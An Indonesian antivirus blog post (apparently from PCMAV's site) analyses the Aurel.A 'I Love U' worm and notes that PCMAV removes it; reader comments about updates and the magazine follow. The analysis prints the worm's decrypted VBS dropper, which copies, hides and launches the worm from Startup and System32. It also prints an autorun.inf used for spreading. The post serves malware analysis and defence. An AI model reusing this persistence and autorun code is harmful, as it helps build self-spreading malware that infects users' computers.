Home > Analisa Virus > Aurel.A: Virus I Love U Indonesia

Aurel.A: Virus I Love U Indonesia

Aurel.A Virus I Love U IndonesiaCiri khas malware ini yaitu membuat beberapa file duplikat yang mengandung kalimat I Love You di setiap drive. Dengan di-compile menggunakan bahasa pemrograman Visual Basic 6, malware ini dikenali PCMAV dengan nama Aurel.A. Penamaan ini didapatkan dari nama folder dari source code worm ini yaitu “SOURCE_CODE_VIRUS_AUREL”.

Induk dari worm ini terletak di C:\Documents and Settings\<USER>\Local Settings\Application Data\simhost.exe dan C:\Documents and Settings\<USER>\Start Menu\Programs\Startup\dllhost.com.

Dengan menaruh file VBS yang terenkripsi, worm ini memanggil file induk dari Aurel.A. Berikut isi file VBS yang sudah kami decrypt:

On Error Resume Next:Dim fso, filex, Induk1, Induk2, atribut:Set fso = CreateObject("Scripting.FileSystemObject"):Set filex = Wscript.CreateObject("Wscript.Shell"):Set Induk1 = fso.GetFile(""):Set Induk2 = fso.GetFile("C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dllhost.com"):if fso.FileExists("C:\Windows\System32\msvbvm60.dll")= False then:Induk1.Copy("C:\Windows\System32\msvbvm60.dll"):End if:if fso.FileExists("C:\Users\user\AppData\Local\simhost.exe")= False then:Induk2.Copy("C:\Users\user\AppData\Local\simhost.exe"):Set atribut = fso.GetFile("C:\Users\user\AppData\Local\simhost.exe"):fso.Attributes = 2:End if:filex.Run("C:\Users\user\AppData\Local\simhost.exe"):

Worm ini menggunakan file autorun untuk membantu penyebaran. Berikut isi autorun.inf:

[AUTORUN]
OPEN=I LOVE U SINTA.exe
ICON=I LOVE U SINTA.exe,0

PCMAV 9.9.1 dengan Update Build 4 mampu membersihkan worm Aurel.A dan virus terbaru lainnya yang menyebar di Indonesia.

Categories: Analisa Virus Tags:
  1. zero
    April 26th, 2014 at 09:05 | #1

    updated.

  2. PC Ranger
    April 26th, 2014 at 09:08 | #2

    PCMAV sudah diupdate.

  3. April 27th, 2014 at 15:08 | #3

    Lihat di toko dekat rumah PC Media 03/2014 sudah ada. 😀

  4. ongen
  5. aaaa
    April 28th, 2014 at 15:32 | #5

    bagaimana caranya untuk mendapatkan file update pcmavnya sehingga pcmav bisa diupdate walaupun dalam keadaan offline. biasanya pcmav menyediakan link downloadnya tapi skarang kok gak ada?

  6. zero
    April 29th, 2014 at 08:38 | #6

    ongen :
    @T.A.Z
    mas TAZ sudah punya PCMAV 9.9.2, di share donk.

    beli donk majalahnya dengan begitu bisa support pengembangan pcmav, jangan cuma mau download gratis aja.

  7. PC Ranger
    April 29th, 2014 at 08:47 | #7

    @aaaa :
    digoogling aza. ada kok yang baik hati nge-upload.

  8. andi
    May 1st, 2014 at 16:30 | #8

    weleh majalah kok terbit terlambat 2 bulan, untung bukan koran udah basi dunk beritanya